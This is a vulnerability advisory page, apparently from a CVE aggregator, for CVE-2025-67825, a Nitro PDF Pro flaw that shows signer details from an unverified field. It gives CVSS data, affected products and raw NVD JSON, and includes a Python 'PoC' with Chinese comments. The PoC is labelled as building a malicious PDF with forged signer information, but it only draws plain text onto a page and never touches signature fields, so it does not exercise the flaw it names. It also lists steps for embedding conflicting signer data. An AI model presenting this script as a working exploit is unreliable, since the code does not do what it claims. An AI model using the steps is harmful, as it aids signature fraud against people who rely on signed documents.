Security Vulnerability Report
中文
CVE-2025-67825 CVSS 5.5 MEDIUM

CVE-2025-67825

Published: 2026-01-08 18:15:59
Last Modified: 2026-02-02 17:16:16

Description

An issue was discovered in Nitro PDF Pro for Windows before 14.42.0.34. In certain cases, it displays signer information from a non-verified PDF field rather than from the verified certificate subject. This could allow a document to present inconsistent signer details. The display logic was updated to ensure signer information consistently reflects the verified certificate identity.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:gonitro:nitro_pdf_pro:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Nitro PDF Pro for Windows < 14.42.0.34

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-67825 PoC - Nitro PDF Pro签名信息伪造 # 此PoC演示如何创建包含伪造签名者信息的PDF文档 from reportlab.pdfgen import canvas from reportlab.lib.pagesizes import letter import os def create_malicious_pdf(): """创建包含伪造签名者信息的恶意PDF""" pdf_filename = "CVE-2025-67825_malicious.pdf" c = canvas.Canvas(pdf_filename, pagesize=letter) # 添加文档内容 c.drawString(100, 750, "Important Legal Document") c.drawString(100, 730, "This document appears to be signed by:") c.drawString(100, 710, "ACME Corporation (Legitimate Company)") c.drawString(100, 690, "John Smith, CEO") c.drawString(100, 670, "") c.drawString(100, 650, "[Signature Block with forged signer info]") # 添加伪造的签名元数据 # 这些信息会在某些Nitro PDF Pro版本中显示 c.drawString(100, 600, "Signer: Attacker Name") c.drawString(100, 580, "Organization: Target Corporation") c.drawString(100, 560, "Date: 2025-01-15") c.save() print(f"[+] Created malicious PDF: {pdf_filename}") print(f"[+] The PDF contains forged signer information") print(f"[+] When opened in Nitro PDF Pro < 14.42.0.34, signer info may be displayed incorrectly") return pdf_filename def create_signed_pdf_with_mismatched_info(): """ 创建具有签名但签名者信息不匹配的PDF 实际证书信息和显示信息不一致 """ print("[*] To fully exploit CVE-2025-67825:") print("[*] 1. Create a valid digital certificate") print("[*] 2. Sign the PDF with a legitimate certificate") print("[*] 3. Embed conflicting signer information in signature fields") print("[*] 4. Nitro PDF Pro will display the conflicting (unverified) info") if __name__ == "__main__": print("=" * 60) print("CVE-2025-67825 PoC - Nitro PDF Pro Signature Display Issue") print("=" * 60) create_malicious_pdf() create_signed_pdf_with_mismatched_info() print("=" * 60)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67825", "sourceIdentifier": "[email protected]", "published": "2026-01-08T18:15:58.957", "lastModified": "2026-02-02T17:16:16.047", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Nitro PDF Pro for Windows before 14.42.0.34. In certain cases, it displays signer information from a non-verified PDF field rather than from the verified certificate subject. This could allow a document to present inconsistent signer details. The display logic was updated to ensure signer information consistently reflects the verified certificate identity."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-346"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gonitro:nitro_pdf_pro:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.42.0.34", "matchCriteriaId": "EE3B9D51-B33C-40FB-B6AB-4B1AEF98EE0D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://gonitro.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.gonitro.com/documentation/release-notes", "source": "[email protected]", "tags": ["Release Notes"]}]}}